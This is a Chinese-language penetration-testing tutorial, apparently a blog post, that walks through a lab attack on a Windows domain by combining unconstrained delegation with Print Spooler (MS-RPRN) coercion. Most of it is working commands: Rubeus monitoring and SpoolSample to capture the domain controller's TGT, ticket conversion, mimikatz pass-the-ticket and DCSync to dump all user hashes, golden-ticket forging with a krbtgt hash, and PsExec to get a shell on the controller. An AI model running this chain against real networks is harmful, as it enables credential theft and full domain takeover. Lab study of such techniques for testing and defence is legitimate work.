前言
继上一篇 ——> 域渗透—委派攻击之非约束委派攻击原理及利用。在实战中,只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。
利用原理:利用Windows打印系统远程协议 (MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了 Spooler 服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证
注:splooer服务是默认运行的
攻击过程
- 域:test.lab
- 域控:192.168.10.2 win2012,账号 administrator,主机名DC
- 域内主机:192.168.10.5 win7 ,账号 yuwin7,主机名admin-PC
攻击者控制一个开启了非约束委派的主机账户,当域控开启Print Spooler服务时,攻击者可以主动要求域控访问该主机服务器,进而获取DC的TGT
- 拿下一个具有Kerberos非约束委派的主机(主机账户)
- 找到一台运行Print Spooler服务(默认为自启而且为System权限)的DC
- 管理员身份使用Rubeus的监听模式
Rubeus监听
win7上以本地管理员运行Rubeus
Rubeus.exe monitor /interval:1 /filteruser:DC$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
利用打印服务强制让域控机向本机验证身份
执行如下
spoolsample.exe DC admin-PC
# 表示利用打印服务强制让域控机向admin-PC主机验证身份,这样我们的Rubeus就可以监听到TGS了
此时Rubeus已经接收到了TGT
提取TGT
我们先复制Rubeus监听到的TGT的base64,这里每行都加了换行,我们用这个python脚本去掉每行的换行符
data=""
for line in open('1.txt','r'):
data += line.strip('\n')
print(data)
with open("2.txt",'a') as f:
f.write(data)
print('保存完毕')
然后直接用
powershell
转到为正常的TGT
即可
[IO.File]::WriteAllBytes("绝对路径\ticket.kirbi", [Convert]::FromBase64String("TGT"))
注入TGT票据到当前会话并导出域控中所有用户的hash
mimikatz以域用户身份运行
kerberos::ptt ticket.kirbi
lsadump::dcsync /domain:test.lab /all /csv
这儿请注意,我们这儿获得的TGT票据,不能算黄金票据,因为我们获得的权限只是域控的本地管理权限,所以不能连接域控,但是我们确可以因此获取所以用户的hash,所以能制作真正的黄金票据~
制作黄金票据
既然存在krbtgt用户,并且有该用户的hash或者NTML值,可以用它生成黄金票据
- 获取本账号的sid
现在本机执行 whoami /user,注意不需要后面表示账号权限的几位数
- 制作票据
mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-587556175-550635965-2643831430 /krbtgt:6412c19ffa5a50cd63fe27917ef83f54 /user:administrator /ticket:ntlm.kirbi" "exit"
- 注入票据
mimikatz "kerberos::purge" "kerberos::ptt ntlm.kirbi"
此时已经可以连接域控了
我们还可以直接用psexec
反弹shell
,因为注入了黄金票据,所以不需要用户名和密码
PsExec64.exe \dc cmd -accepteula